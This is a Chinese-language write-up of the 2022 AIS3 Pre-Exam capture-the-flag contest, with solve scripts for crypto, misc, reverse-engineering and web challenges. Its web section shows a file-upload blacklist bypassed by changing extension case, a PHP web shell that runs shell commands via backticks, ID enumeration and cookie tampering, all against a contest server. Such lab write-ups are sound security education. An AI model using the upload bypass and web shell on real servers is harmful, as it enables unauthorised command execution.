# 2022 AIS3 Pre-Exam Write Up
[AIS3官方網站](https://ais3.org/)
今年是我第二年參加AIS3的Pre-Exam,有了去年的經驗今年打起來相對順手不少,但還是希望能夠繼續進步~去年很多解不出來或解很久的類別今年也打得相對比較好,希望之後能夠拿到更好的名次!(今年因為高三要考試ㄌQQ沒有花太多時間打,明年要繼續精進!)

# Welcome
## Welcome [100]
{% note default flat %}
Discord ++
{% endnote %}
嗯對,真的就Welcome,比賽時間還沒開始就在AIS3 Discord`#general`上的釘選了:P
P.S.之前被騙太多次一開始以為這是假flag:P

FLAG:`AIS3{WTF did I just see the FLAG before CTF starts?}`
# Crypto
## SC [100] [baby]
{% note default flat %}
SC? SuperChat?
Author: maple3142
{% endnote %}
> file:https://drive.google.com/file/d/1EGbG7XymDej546FAN_gJbUoNkSjnYbd3/view?usp=sharing
```python=
import string
import random
def shuffle(x):
x = list(x)
random.shuffle(x)
return x
def encrypt(T, file):
with open(file) as f:
pt = f.read()
with open(f"{file}.enc", "w") as f:
f.write(pt.translate(T))
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits
shuffled = "".join(shuffle(charset))
T = str.maketrans(charset, shuffled)
encrypt(T, "flag.txt")
encrypt(T, __file__)
"""
Substitution cipher
From Wikipedia, the free encyclopedia
Jump to navigationJump to search
This article needs additional citations for verification. Please help improve this article by adding citations to reliable sources. Unsourced material may be challenged and removed.
Find sources: "Substitution cipher" – news · newspapers · books · scholar · JSTOR (March 2009) (Learn how and when to remove this template message)
In cryptography, a substitution cipher is a method of encrypting in which units of plaintext are replaced with the ciphertext, in a defined manner, with the help of a key; the "units" may be single letters (the most common), pairs of letters, triplets of letters, mixtures of the above, and so forth. The receiver deciphers the text by performing the inverse substitution process to extract the original message.
Substitution ciphers can be compared with transposition ciphers. In a transposition cipher, the units of the plaintext are rearranged in a different and usually quite complex order, but the units themselves are left unchanged. By contrast, in a substitution cipher, the units of the plaintext are retained in the same sequence in the ciphertext, but the units themselves are altered.
There are a number of different types of substitution cipher. If the cipher operates on single letters, it is termed a simple substitution cipher; a cipher that operates on larger groups of letters is termed polygraphic. A monoalphabetic cipher uses fixed substitution over the entire message, whereas a polyalphabetic cipher uses a number of substitutions at different positions in the message, where a unit from the plaintext is mapped to one of several possibilities in the ciphertext and vice versa.
Contents
1 Simple substitution
1.1 Security for simple substitution ciphers
2 Nomenclator
3 Homophonic substitution
4 Polyalphabetic substitution
5 Polygraphic substitution
6 Mechanical substitution ciphers
7 The one-time pad
8 Substitution in modern cryptography
9 Substitution ciphers in popular culture
10 See also
11 References
12 External links
"""
```
題目給了一個`cipher.py`、加密過的`cipher.py.enc`與加密過的`flag.txt.enc`,經過觀察兩個python檔的內容後,可以發現本題是Substitution cipher(人家都直接寫給你看ㄌw),因此可以手動將`cipher.py`與`cipher.py.enc`對應一一對應字母後推出`flag.txt.enc`的flag內容。
當然我們也可以寫code來解決它><開一個python的dictionary來進行一一對應:
```python=
waku = open("cipher.py",'r').read()
wakuwaku = open("cipher.py.enc",'r').read()
sc = {}
for i in range(len(waku)):
sc[wakuwaku[i]] = waku[i]
wakuwakuwaku = open('flag.txt.enc','r').read()
for i in wakuwakuwaku:
print(sc[i],end='')
#AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}
```
FLAG:`AIS3{s0lving_sub5t1tuti0n_ciph3r_wi7h_kn0wn_p14int3xt_4ttack}`
## Fast Cipher [100] [baby]
{% note default flat %}

Author: maple3142
{% endnote %}
> file:https://drive.google.com/file/d/1bkwIfXNl9e3AaoltnvFGb0VEvOTMtd2D/view?usp=sharing
這題內容是一個加密用cipher.py與其output.txt,來看看source code:
```python=
from secrets import randbelow
M = 2**1024
def f(x):
# this is a *fast* function
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) % M
def encrypt(pt, key):
ct = []
for c in pt:
ct.append(c ^ (key & 0xFF))
key = f(key)
return bytes(ct)
if __name__ == "__main__":
key = randbelow(M)
ct = encrypt(open("flag.txt", "rb").read().strip(), key)
print(ct.hex())
```
可以發現他不斷將key迭代到f(x)裡面後再與原始flag進行xor,得到加密後的output。
此時觀察encrypt function,它在取key時用了`&0xff`,表示只取key的最後兩位進行xor運算,透過flag format AIS3{…}可以推出第一個key為`0x6c^65=0x2d`,接著觀察f(x),它代入一個多項式後再`%`$2^{1024}$`=0x100…00`,迭代效率很低,但因為只取最後兩位,且`%`之尾數為0表示不影響最後兩位結果,所以可以直接代入多項式後取最後兩位xor。
寫code即可解出flag:
```python=
key=[0x2d]
ff=[0x6c,0x0e,0xc8,0x40,0xf8,0x8d,0x4c,0xd7,0xfc,0xc6,0xd5,0xc6,0xd1,0xda,0xfc,0xc1,0xca,0xd7,0xd0,0xfc,0xc2,0xd1,0xc6,0xfc,0xd6,0xd0,0xc6,0xc7,0xfc,0xcf,0xcc,0xcf,0xde]
def f(x):
return (
4 * x**4 + 8 * x**8 + 7 * x**7 + 6 * x**6 + 3 * x**3 + 0x48763
) & 0xff
for i in range(0,50):
print(chr(key[i]^ff[i]),end='')
key.append(f(key[i]))
```
FLAG:`AIS3{not_every_bits_are_used_lol}`
# Misc
## Excel [100] [baby]
{% note default flat %}
Don't worry, this is not a real virus...
Author: lys0829
{% endnote %}
> file:https://drive.google.com/file/d/12dOYZhOIgCRudHczsikOUBUPZFyP8nrJ/view?usp=sharing
這題單純給了一個.xlsm檔,使用Microsoft Office文件檢查功能之後可以發現有隱藏工作表,因此全部展開,發現`isFki`裡面有一串公式,將excel轉換字體顏色後發現執行為`TRUE`,將外圍FORMULA去掉後關掉顯示公式查看公式內容即可得到flag。

FLAG:`AIS3{XLM_iS_to0_o1d_but_co0o0o00olll!!}`
## Gift in the dream [100] [medium]
{% note default flat %}
Someone send you his dream. Maybe he is trying to tell you a message.
update 1: flag在*l33t*前是通順的句子。
update 2: Fixed typo in flag, please download the updated version
Author: bronson113
{% endnote %}
> file:https://drive.google.com/file/d/1OOF36yj53MSXs2-Z-5x1dJivlz25UoLY/view?usp=sharing
這題是一個gif檔,一開始用了不少工具分析,其中使用strings指令的結果發現裡面提示到`why is the animation lagging? why is the duration so weird? is this just a dream?`的部分,因此開始往這個方向走,上網查到了[gif duration tool](https://gifduration.herokuapp.com/),切開後發現其毫秒時間間隔不一且形同`ASCII code`(去掉尾0),將其解密後即可得到正確的flag。
P.S.一開始用了一個爛掉的工具得到錯誤的flag…

FLAG:`AIS3{5T3gn0gR4pHy_c4N_b3_fUn_s0m37iMe}`
# Reverse
## Time Management [100] [baby]
### Solution 1
{% note default flat %}
Free flag for you : )
Author: artis24106
{% endnote %}
> file:https://drive.google.com/file/d/11_Q8SqsPWEm67iAc2Xbpjvi4tK-Q0Fcn/view?usp=sharing
這題給了一個binary,用IDA Pro開啟分析`main function`可以發現它將指定位置`4*(i+1)`(此位置為flag每四位hex number的後一位數字)的`key`與`secret`每位xor後用for迴圈輸出,所以這部分可以手動處理xor後即可得到flag。

我們也可以寫code來解決他,首先在IDA Pro裡`shift+E`提出`key`跟`secret`陣列,接著一一xor即可(但要記得把陣列位置算好.w.)。
```cpp=
#include<bits/stdc++.h>
using namespace std;
int secret[100]={
70, 65, 75, 69, 11, 0, 0, 0, 123, 104,
111, 111, 10, 0, 0, 0, 114, 97, 121, 95,
2, 0, 0, 0, 115, 116, 114, 105, 8, 0,
0, 0, 110, 103, 115, 95, 6, 0, 0, 0,
105, 115, 95, 97, 5, 0, 0, 0, 108, 119,
97, 121, 7, 0, 0, 0, 115, 95, 97, 110,
4, 0, 0, 0, 95, 117, 115, 101, 9, 0,
0, 0, 102, 117, 108, 95, 0, 0, 0, 0,
99, 111, 109, 109, 1, 0, 0, 0, 97, 110,
100, 125, 3, 0, 0, 0
};
int key[50]={
1, 16, 1, 58, 13, 27, 76, 76, 45, 0,
11, 58, 64, 79, 69, 0, 26, 50, 4, 49,
29, 22, 45, 62, 49, 10, 18, 44, 3, 17,
62, 13, 44, 0, 26, 12, 50, 20, 29, 4,
0, 49, 0, 26, 7, 8, 24, 118
};
int main(){
for(int i=0;i<96;i+=8){
int v1=secret[i+4]*4;
for(int j=0;j<4;j++){
cout<<char(secret[i+j]^key[v1+j]);
}
}
return 0;
}
//AIS3{You_are_the_master_of_time_management!!!!!}
```
FLAG:`AIS3{You_are_the_master_of_time_manangement!!!!!}`
### Solution 2
這題也可以用patch program的方法解決,它印不出flag的主要原因是`main function`中的`sleep(0x8763)`間隔過久,所以我們只要把`sleep`的時間patch成`0`即可,這裡注意一下最後的輸出部分,`\r`會把游標移到最前方並將所有先前輸出洗掉,因此這裡也要patch,完成後覆寫掉原檔案執行即可得到flag。


## Calculator [301] [easy][.NET]
{% note default flat %}
I built a simple calculator, although it has a lot of bugs :P
Author: LJP-TW
{% endnote %}
> file:https://drive.google.com/file/d/1lKgN9AtkAT55lgY8qeJJP9L9awhOKAD4/view?usp=sharing
這題應該可以算是去年的考古題,也是.NET的題目,我一樣使用dnSpy來分析它,`calculator.exe`的部分沒有發現甚麼除了計算機之外的其他功能,在`extentions`的部分發現了四個可疑的`.dll`檔(`AIS3.dll`、`AIS33.dll`、`AIS333.dll`、`AIS3333.dll`),打開看發現裡面應該是輸出flag的條件,只有一些xor跟特殊位置的個別限制,也是使用手動的方法把flag打出來即可。

```
INDEX 0123456789012345678901234567890123456789012345
AIS3 AIS3{ A }
AIS33 {D G_G}
AIS333 D0T_N3T_FRAm3W0rk __
AIS3333 k_15_S0_C0mPlicaT3d
AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}
```
FLAG:`AIS3{D0T_N3T_FRAm3W0rk_15_S0_C0mPlicaT3d__G_G}`
## 殼 [463] [easy]
{% note default flat %}

Author: artis24106
{% endnote %}
> file:https://drive.google.com/file/d/1C_Q7RbdQufeyZyOMNG2eQ9w4vd4o--1l/view?usp=sharing
這題給了一個不知名的.wy檔,上網查了一下是文言文編程語言,利用[github上的工具](https://github.com/wenyan-lang/wenyan的指令wenyan)`wenyan --compile 殼.wy`可將其轉換為較易讀(?)的javascript。剩下的部分就是讀懂code內容了😵。
```javascript=
/*___wenyan_module_恆常_start___*/
var 恆常 = new function() {
var 大 = this.大 = "輸入「助」以獲得更多幫助";
var 笆 = this.笆 = "/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA";
var 斯 = this.斯 = "k5aRmv==";
var 啟 = this.啟 = "5KTMx8XKxf==";
var 魠 = this.魠 = "kv==";
var 歷 = this.歷 = "5KSS";
var 託 = this.託 = "幫助幫助幫助幫助幫助幫助";
var 師 = this.師 = "先帝創業未半而中道崩殂今天下三分益州疲弊此誠危急存亡之秋也然侍衛之臣不懈於內忠誌之士忘身於外者蓋追先帝之殊遇欲報之於陛下也誠宜開張聖聽以光先帝遺德恢弘誌士之氣不宜妄自菲薄引喻失義以塞忠諫之路也宮中府中俱為一體陟罰臧否不宜異同若有作奸犯科及為忠善者宜付有司論其刑賞以昭陛下平明之理不宜偏私使內外異法也侍中侍郎郭攸之費禕董允等此皆良實誌慮忠純是以先帝簡拔以遺陛下愚以為宮中之事事無大小悉以谘之然後施行必能裨補闕漏有所廣益將軍嚮寵性行淑均曉暢軍事試用於昔日先帝稱之曰能是以衆議舉寵為督愚以為營中之事悉以谘之必能使行陣和睦優劣得所親賢臣遠小人此先漢所以興隆也親小人遠賢臣此後漢所以傾頹也先帝在時每與臣論此事未嘗不歎息痛恨於桓靈也侍中尚書長史參軍此悉貞良死節之臣願陛下親之信之則漢室之隆可計日而待也臣本佈衣躬耕於南陽苟全性命於亂世不求聞達於諸侯先帝不以臣卑鄙猥自枉屈三顧臣於草廬之中谘臣以當世之事由是感激遂許先帝以驅馳後值傾覆受任於敗軍之際奉命於危難之間爾來二十有一年矣先帝知臣謹慎故臨崩寄臣以大事也受命以來夙夜憂歎恐托付不效以傷先帝之明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損益進盡忠言則攸之禕允之任也願陛下托臣以討賊興複之效不效則治臣之罪以告先帝之靈若無興德之言則責攸之禕允等之慢以彰其咎陛下亦宜自謀以谘諏善道察納雅言深追先帝遺詔臣不勝受恩感激今當遠離臨錶涕零不知所言";
var 秘旗 = this.秘旗 = "\x1b[38:5:181m獎\x1b[38:5:202m當\x1b[38:5:177m之\x1b[38:5:210m兇\x1b[38:5:191m深\x1b[38:5:170m定\x1b[38:5:189m忠\x1b[38:5:197m忠\x1b[38:5:192m複\x1b[38:5:226m除\x1b[38:5:177m率\x1b[38:5:226m月\x1b[38:5:191m月\x1b[38:5:170m都\x1b[38:5:177m三\x1b[38:5:178m還\x1b[38:5:177m三\x1b[38:5:209m先\x1b[38:5:188m而\x1b[38:5:197m忠\x1b[38:5:192m兇\x1b[38:5:198m故\x1b[38:5:192m複\x1b[38:5:226m巳\x1b[38:5:177m三\x1b[38:5:222m定\x1b[38:5:189m率\x1b[38:5:225m陛\x1b[38:5:194m軍\x1b[38:5:166m除\x1b[38:5:178m軍\x1b[38:5:186m忠\x1b[38:5:181m率\x1b[38:5:226m所\x1b[38:5:177m瀘\x1b[38:5:226m獎\x1b[38:5:181m獎\x1b[38:5:218m除\x1b[38:5:179m當\x1b[38:5:166m鈍\x1b[38:5:178m三\x1b[38:5:170m斟"; /*已': 2,'定': 2 */
}; /*___wenyan_module_恆常_end___*/ /*___wenyan_module_鑿字秘術_start___*/
var 鑿字秘術 = new function() {
var 正閱 = this.正閱 = "data";
var 已閱 = this.已閱 = "end";
var 始碼 = this.始碼 = _ => {};
始碼 = this.始碼 = 字 => {
const _ans1 = String.fromCharCode(字);
return _ans1;
};
var 字址 = this.字址 = _ => {};
字址 = this.字址 = 字 => 址 => {
const _ans2 = ((target) => ((idx) => target.charCodeAt(idx)))(字)(址);
return _ans2;
};
var 始於 = this.始於 = _ => {};
始於 = this.始於 = 字 => 符 => {
const _ans3 = ((target) => ((label) => target.startsWith(label)))(字)(符);
return _ans3;
};
var 字子 = this.字子 = _ => {};
字子 = this.字子 = 字 => 址 => {
const _ans4 = ((target) => ((idx) => target.substring(idx)))(字)(址);
return _ans4;
};
var 子字 = this.子字 = _ => {};
子字 = this.子字 = 字 => 始 => 末 => {
const _ans5 = ((target) => ((s) => ((e) => target.substring(s, e))))(字)(始)(末);
return _ans5;
};
}; /*___wenyan_module_鑿字秘術_end___*/ /*___wenyan_module_交互秘術_start___*/
var 交互秘術 = new function() {
var 正閱 = this.正閱 = "data";
var 已閱 = this.已閱 = "end";
const _ans1 = require("readline").createInterface(process.stdin, process.stdout);
var 讀行 = _ans1;
var 化言 = this.化言 = _ => {};
化言 = this.化言 = 甲 => {
const _ans2 = 甲.toString();
return _ans2;
};
var 發生 = this.發生 = _ => {};
發生 = this.發生 = 事 => {
const _ans3 = ((event) => process.stdin.emit(event))(事);
};
var 監聽 = this.監聽 = _ => {};
監聽 = this.監聽 = 事件 => 響應 => {
const _ans4 = ((event) => ((func) => process.stdin.on(event, func)))(事件)(響應);
};
var 聽寫 = this.聽寫 = _ => {};
聽寫 = this.聽寫 = 事件 => 響應 => {
const _ans5 = ((event) => ((func) => 讀行.on(event, func)))(事件)(響應);
};
var 閱止 = this.閱止 = _ => {};
閱止 = this.閱止 = () => {
const _ans6 = (() => process.stdin.end())();
};
var 輸出 = this.輸出 = _ => {};
輸出 = this.輸出 = 文 => {
const _ans7 = ((s) => process.stdout.write(s))(文);
};
}; /*___wenyan_module_交互秘術_end___*/
var 輸出 = 交互秘術.輸出;
var 聽寫 = 交互秘術.聽寫;
var 始碼 = 鑿字秘術.始碼;
var 字址 = 鑿字秘術.字址;
var 子字 = 鑿字秘術.子字;
var 始於 = 鑿字秘術.始於;
var 字子 = 鑿字秘術.字子;
var 啟 = 恆常.啟;
var 歷 = 恆常.歷;
var 託 = 恆常.託;
var 師 = 恆常.師;
var 大 = 恆常.大;
var 笆 = 恆常.笆;
var 斯 = 恆常.斯;
var 魠 = 恆常.魠;
var 秘旗 = 恆常.秘旗;
var 獲取 = _ => {};
獲取 = 對象 => 域 => {
return 對象[域];
}; /*"============"*/
var 營 = _ => {};
營 = 日 => 鑫 => {
const _ans1 = 日 % 鑫;
const _ans2 = 日 - _ans1;
var 戌卯 = _ans2;
const _ans3 = 戌卯 / 鑫;
var 庚巳 = _ans3;
return 庚巳;
};
var 削 = _ => {};
削 = 日 => 鑫 => {
var 命 = 0;
var 恩 = 1;
while (true) {
var 戊乙 = false;
if (日 > 0) {
戊乙 = true;
};
var 午酉 = false;
if (鑫 > 0) {
午酉 = true;
};
const _ans4 = 戊乙 && 午酉;
var 酉癸 = _ans4;
if (酉癸 == 0) {
break;
};
const _ans5 = 日 % 2;
var 辛甲 = _ans5;
var 甲二 = false;
if (辛甲 == 1) {
甲二 = true;
};
const _ans6 = 鑫 % 2;
var 二辛 = _ans6;
var 午庚 = false;
if (二辛 == 1) {
午庚 = true;
};
const _ans7 = 甲二 && 午庚;
var 巳己 = _ans7;
if (巳己) {
const _ans8 = 命 + 恩;
命 = _ans8;
};
const _ans9 = 營(日)(2);
日 = _ans9;
const _ans10 = 營(鑫)(2);
鑫 = _ans10;
const _ans11 = 恩 * 2;
恩 = _ans11;
};
return 命;
};
var 斐 = _ => {};
斐 = 竺 => {
var 呼 = 0;
while (true) {
const _ans12 = 笆.length;
var 巳酉 = false;
if (呼 < _ans12) {
巳酉 = true;
};
if (巳酉 == 0) {
break;
};
const _ans13 = 獲取(笆)(呼);
var 乙丁 = _ans13;
if (乙丁 == 竺) {
return 呼;
};
const _ans14 = 呼 + 1;
呼 = _ans14;
};
return 0;
};
var 天 = _ => {};
天 = 食 => {
var 返 = [];
var 呼 = 0;
while (true) {
const _ans15 = 食.length;
var 寅二 = false;
if (呼 < _ans15) {
寅二 = true;
};
if (寅二 == 0) {
break;
};
var 表 = [];
const _ans16 = 獲取(食)(呼);
var 辰丁 = _ans16;
const _ans17 = 斐(辰丁);
var 丙戊 = _ans17;
const _ans18 = 呼 + 1;
var 丙甲 = _ans18;
const _ans19 = 獲取(食)(丙甲);
var 丁 申 = _ans19;
const _ans20 = 斐(丁申);
var 午申 = _ans20;
const _ans21 = 呼 + 2;
var 乙庚 = _ans21;
const _ans22 = 獲取(食)(乙庚);
var 地戌 = _ans22;
const _ans23 = 斐(地戌);
var 丁亥 = _ans23;
const _ans24 = 呼 + 3;
var 二卯 = _ans24;
const _ans25 = 獲取(食)(二卯);
var 寅酉 = _ans25;
const _ans26 = 斐(寅酉);
var 支丙 = _ans26;
表.push(丙戊, 午申, 丁亥, 支丙);
const _ans27 = 表[1 - 1];
var 己辛 = _ans27;
const _ans28 = 己辛 * 4;
var 酉支 = _ans28;
const _ans29 = 表[2 - 1];
var 乙酉 = _ans29;
const _ans30 = 營(乙酉)(16);
const _ans31 = 酉支 + _ans30;
var 丁壬 = _ans31;
返.push(丁壬);
const _ans32 = 表[2 - 1];
var 子甲 = _ans32;
const _ans33 = 削(子甲)(15);
var 丁巳 = _ans33;
const _ans34 = 丁巳 * 16;
var 壬己 = _ans34;
const _ans35 = 表[3 - 1];
var 辛辛 = _ans35;
const _ans36 = 營(辛辛)(4);
const _ans37 = 壬己 + _ans36;
var 支己 = _ans37;
返.push(支己);
const _ans38 = 表[3 - 1];
var 亥巳 = _ans38;
const _ans39 = 削(亥巳)(3);
var 地丙 = _ans39;
const _ans40 = 地丙 * 64;
var 申 戌 = _ans40;
const _ans41 = 表[4 - 1];
var 乙卯 = _ans41;
const _ans42 = 削(乙卯)(63);
const _ans43 = 申戌 + _ans42;
var 壬寅 = _ans43;
返.push(壬寅);
const _ans44 = 呼 + 4;
呼 = _ans44;
};
var 遣 = "";
var 呼 = 0;
while (true) {
const _ans45 = 返.length;
var 辛未 = false;
if (呼 < _ans45) {
辛未 = true;
};
if (辛未 == 0) {
break;
};
const _ans46 = 獲取(返)(呼);
var 戊丙 = _ans46;
if (戊丙 == 0) {
break;
};
const _ans47 = 始碼(戊丙);
const _ans48 = 遣 + _ans47;
遣 = _ans48;
const _ans49 = 呼 + 1;
呼 = _ans49;
};
return 遣;
};
const _ans50 = 子字(師)(463)(527);
var 桐 = _ans50;
const _ans51 = 天(斯);
var 系 = _ans51;
const _ans52 = 天(啟);
var 啟 = _ans52;
var 涅 = "> ";
var 禱 = _ => {};
禱 = 食 => {
const _ans53 = 食.length;
var 連 = _ans53;
const _ans54 = !連;
var 未丑 = _ans54;
if (未丑) {
return "";
};
var 紀元 = "";
var 呼 = 0;
while (true) {
var 申壬 = false;
if (呼 < 連) {
申壬 = true;
};
if (申壬 == 0) {
break;
};
const _ans55 = 字址(食)(呼);
日 = _ans55;
var 鑫 = 0;
var 谷 = 0;
const _ans56 = 連 - 呼;
var 己酉 = _ans56;
if (己酉 >= 2) {
const _ans57 = 呼 + 1;
var 支辛 = _ans57;
const _ans58 = 字址(食)(支辛);
鑫 = _ans58;
};
const _ans59 = 連 - 呼;
var 地巳 = _ans59;
if (地巳 > 2) {
const _ans60 = 呼 + 2;
var 乙乙 = _ans60;
const _ans61 = 字址(食)(乙乙);
谷 = _ans61;
};
const _ans62 = 營(日)(4);
var 丙癸 = _ans62;
const _ans63 = 削(日)(3);
var 亥十 = _ans63;
const _ans64 = 亥十 * 16;
var 乙己 = _ans64;
const _ans65 = 營(鑫)(16);
const _ans66 = 乙己 + _ans65;
var 卯戌 = _ans66;
const _ans67 = 型(丙癸)(卯戌);
const _ans68 = 紀元 + _ans67;
紀元 = _ans68;
const _ans69 = 削(鑫)(15);
var 戌戌 = _ans69;
const _ans70 = 戌戌 * 4;
var 乙己七 = _ans70;
const _ans71 = 營(谷)(64);
const _ans72 = 乙己七 + _ans71;
var 戌巳 = _ans72;
const _ans73 = 削(谷)(63);
var 丁午 = _ans73;
const _ans74 = 型(戌巳)(丁午);
const _ans75 = 紀元 + _ans74;
紀元 = _ans75;
const _ans76 = 呼 + 3;
呼 = _ans76;
};
const _ans77 = 連 % 3;
var 辰申 = _ans77;
if (辰申 == 1) {
const _ans78 = 紀元 + "等於";
紀元 = _ans78;
};
return 紀元;
};
const _ans79 = 天(歷);
var 歷 = _ans79;
const _ans80 = 天(魠);
var 魠 = _ans80;
var 型 = _ => {};
型 = 和 => 宇 => {
const _ans81 = 165 + 和;
const _ans82 = 啟 + _ans81;
var 巳支 = _ans82;
const _ans83 = 巳支 + 魠;
var 申午 = _ans83;
const _ans84 = 獲取(桐)(宇);
const _ans85 = 申午 + _ans84;
var 二酉 = _ans85;
return 二酉;
};
var 希依 = _ => {};
希依 = 祈 => {
const _ans86 = 禱(祈);
命 = _ans86;
var _ans87 = "結果";
var _ans88 = 命;
var _ans89 = 歷;
console.log(_ans87, _ans88, _ans89);
if (命 == 秘旗) {
var _ans90 = "正解";
console.log(_ans90);
};
};
var 玲瓏 = _ => {};
玲瓏 = () => {
var _ans91 = 託;
console.log(_ans91);
};
var 殼 = _ => {};
殼 = 入 => {
const _ans92 = 始於(入)("蛵煿 ");
var 丁辰 = _ans92;
if (丁辰) {
const _ans93 = 字子(入)(3);
var 地辛 = _ans93;
const _ans94 = 希依(地辛);
} else {
if (入 == "助") {
const _ans95 = 玲瓏();
} else {
const _ans96 = "指令「" + 入;
var 丙丁 = _ans96;
const _ans97 = 丙丁 + "」不存在\n";
var 辛午 = _ans97;
const _ans98 = 輸出(辛午);
};
};
const _ans99 = 輸出(涅);
};
var 殼始 = _ => {};
殼始 = () => {
var _ans100 = 大;
console.log(_ans100);
const _ans101 = 輸出(涅);
};
const _ans102 = 殼始();
const _ans103 = 聽寫(系)(殼);
```
觀察compile後的code內容,稍微解析各個function的內容:
`恆常`為定義const variable,可以看到`秘旗`就是加密過後的flag,其餘先保留。
`鑿字秘術`與`交互秘術`都是一些內建函式的改寫,可以直接略過。
剩下是自定義函式,一樣可以略過。
這時候從尾部找尋秘旗,往前對照發現其是對應`禱(祈)`這個函式,這時候對這個單一函數進行解析整理:
```javascript=
var 禱=_=>{};禱=食=>{
if (!食.length){return "";};
var 紀元="";var 呼=0;
while(true){var 申壬=false;if (呼<連){申壬=true;};if (申壬==0){break;};
日=字址(食)(呼);
var 鑫=0;
var 谷=0;
if (連-呼>=2){鑫=字址(食)(呼+1);};
if (連-呼>2){谷=字址(食)(呼+2);};
紀元=紀元+型(營(日)(4))(削(日)(3)*16+營(鑫)(16));
紀元=紀元+型(削(鑫)(15)*4+營(谷)(64))(削(谷)(63));
呼=呼+3;}
if (連%3==1){紀元=紀元+"等於";};
return 紀元;}
```
在編輯器`Ctrl+F`搜尋發現`食`沒有被定義僅被呼叫,推測`食`就是flag,而`日`、`鑫`、`谷`則為三個一組的flag呼叫。
先來分析`營`和`削`函式:
`營`相對簡單,`營(a)(b)=(a//b)`
`削`的部分,
```javascript=
var 削=_=>{};
削=日=>鑫=>{
var 命=0;var 恩=1;
while(true){
var 戊乙=false;
if (日>0){戊乙=true;};
var 午酉=false;
if (鑫>0){午酉=true;};
if (戊乙&&午酉==0){break;};
var 甲二=false;
if (日%2==1){甲二=true;};
var 午庚=false;
if (鑫%2==1){午庚=true;};
if (甲二&&午庚){命=命+恩;};
日=營(日)(2);鑫=營(鑫)(2);恩=恩*2;}
return 命;}
```
可得`削(a)(b)=(a>0&&b>0)?(a&b):0`
再來看`型`
```javascript=
var 型=_=>{};
型=和=>宇=>{return啟+(165+和)+魠+獲取(桐)(宇);}
```
上面可知`和`及`宇`為`禱`內部呼叫之參數,皆為數字,`啟`、`魠`為外部傳入,不影響`禱`所求`日`、`鑫`、`谷`內容
而`桐=子字(師)(463)(527)`(從前面的`交互秘術`可知是substring的意思),可得`桐='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'`
故`秘旗`重複單位`\x1b[38:5:181m獎`即為單一`型`所生,`(165+和)`為數字,`獲取(桐)(宇)`為字串中字元
所以`啟=\x1b[38:5:`,`魠=m`,無須逆向。
寫code爆搜出`日`、`鑫`、`谷`對應`秘旗`內容即可。
```python=
ff=["181m獎","202m當","177m之","210m兇","191m深","170m定","189m忠","197m忠","192m複","226m除","177m率","226m月","191m月","170m都","177m三","178m還","177m三","209m先","188m而","197m忠","192m兇","198m故","192m複","226m巳","177m三","222m定","189m率","225m陛","194m軍","166m除","178m軍","186m忠","181m率","226m所","177m瀘","226m獎","181m獎","218m除","179m當","166m鈍","178m三","170m斟"]
ss='明故五月渡瀘深入不毛今南方巳定兵甲已足當獎率三軍北碇中原庶竭駑鈍攘除奸兇興複漢室還于舊都此臣所以報先帝而忠陛下之職分也至於斟酌損'
m=[]
n=[]
for i in ff:
i=i.split("m")
m.append(int(i[0])-165)
n.append(i[1])
print(m)
print(n)
for i in range(50):
for a in range(40,130):
for b in range(40,130):
for c in range(40,130):
if(a//4==m[i] and ss[16*(a&3)+b//16]==n[i] and 4*(b&15)+c//64==m[i+1] and ss[c&63]==n[i+1]):
print(chr(a)+chr(b)+chr(c),end='')
```
FLAG:`AIS3{chaNcH4n_a1_Ch1k1ch1k1_84n8An_M1nNa_5upa5utA_n0_TAMa90_5a}`
# Web
## Simple File Uploader [100] [easy]
{% note default flat %}

一個簡單檔案上傳者。
Author: wii
{% endnote %}
> route:http://chals1.ais3.org:8988(vpn required)
這題是一個上傳檔案的網站,打開source code可以發現它鎖了很多php的格式,明顯是要讓我們上傳可上傳可執行的php檔,其中因為它使用黑名單的方式,稍微查一下可以發現副檔名大小寫差異便可繞過,建立`aa.Php`即可上傳php(用`echo 1;`測試可否執行)
```php=
<?php echo 1; ?>
```
接著需要繞過system function,source code中可以發現他把幾乎所有的system執行指令都鎖起來了,但php有一個特殊的方式可以繞過執行,\\`\\`包起的字串會被當成指令嘗試執行,因此可以構造出指令嘗試執行。
```php=
<?php
$waku=`cd ../../../../../../;ls;`;
echo "<pre>$waku</pre>";
?>
```

可以看到一個`rUn_M3_t0_9et_fL4g`檔案,執行它即可得到flag。
```php=
<?php
$waku=`cd ../../../../../../;ls;./rUn_M3_t0_9et_fL4g`;
echo "<pre>$waku</pre>";
?>
//AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}
```
FLAG:`AIS3{H3yyyyyyyy_U_g0t_mi٩(ˊᗜˋ*)و}`
## Poking Bear [100] [baby]
{% note default flat %}

Poke the SECRET BEAR!
Author: wii
{% endnote %}
> route:http://chals1.ais3.org:8987(vpn required)
打開網頁可以發現一個可以戳熊熊(?)的介面,點進去可以發現除了`SECRET BEAR`之外其他的熊都有一個特殊的號碼掛在`http://chals1.ais3.org:8987/bear/{id}`之中,所以我們的目標十分明確:找到SECRET BEAR的id!
其他bear的id都在首頁的html裡,所以只要寫段python來爆搜沒有在裡面的id即可。
```python=
import requests
url = "http://chals1.ais3.org:8987/bear/"
for i in range(1000):
res = requests.get(url + str(i))
if "This is not even a bear." not in res.text:
print(i)
# 5 29 82 327 350 499 777 ...
```
可以發現499沒有在裡面,訪問 http://chals1.ais3.org:8987/bear/499 可以有一個戳`SECRET BEAR`的頁面,但戳下去它會說你不是`bear poker`,這時候直覺看看cookie有一個`human`類別,把後面的值改成`bear poker`再戳它就可以拿到flag。
FLAG:`AIS3{y0u_P0l<3_7h3_Bear_H@rdLy><}`
# Pwn
## SAAS - Crash [40] [C++][heap][easy]
{% note default flat %}
This challenge is not about Software as a Service, but String as a Service.
> You only need to crash the program at remote to get this flag, no need to actually write exploit for it
Author: maple3142
{% endnote %}
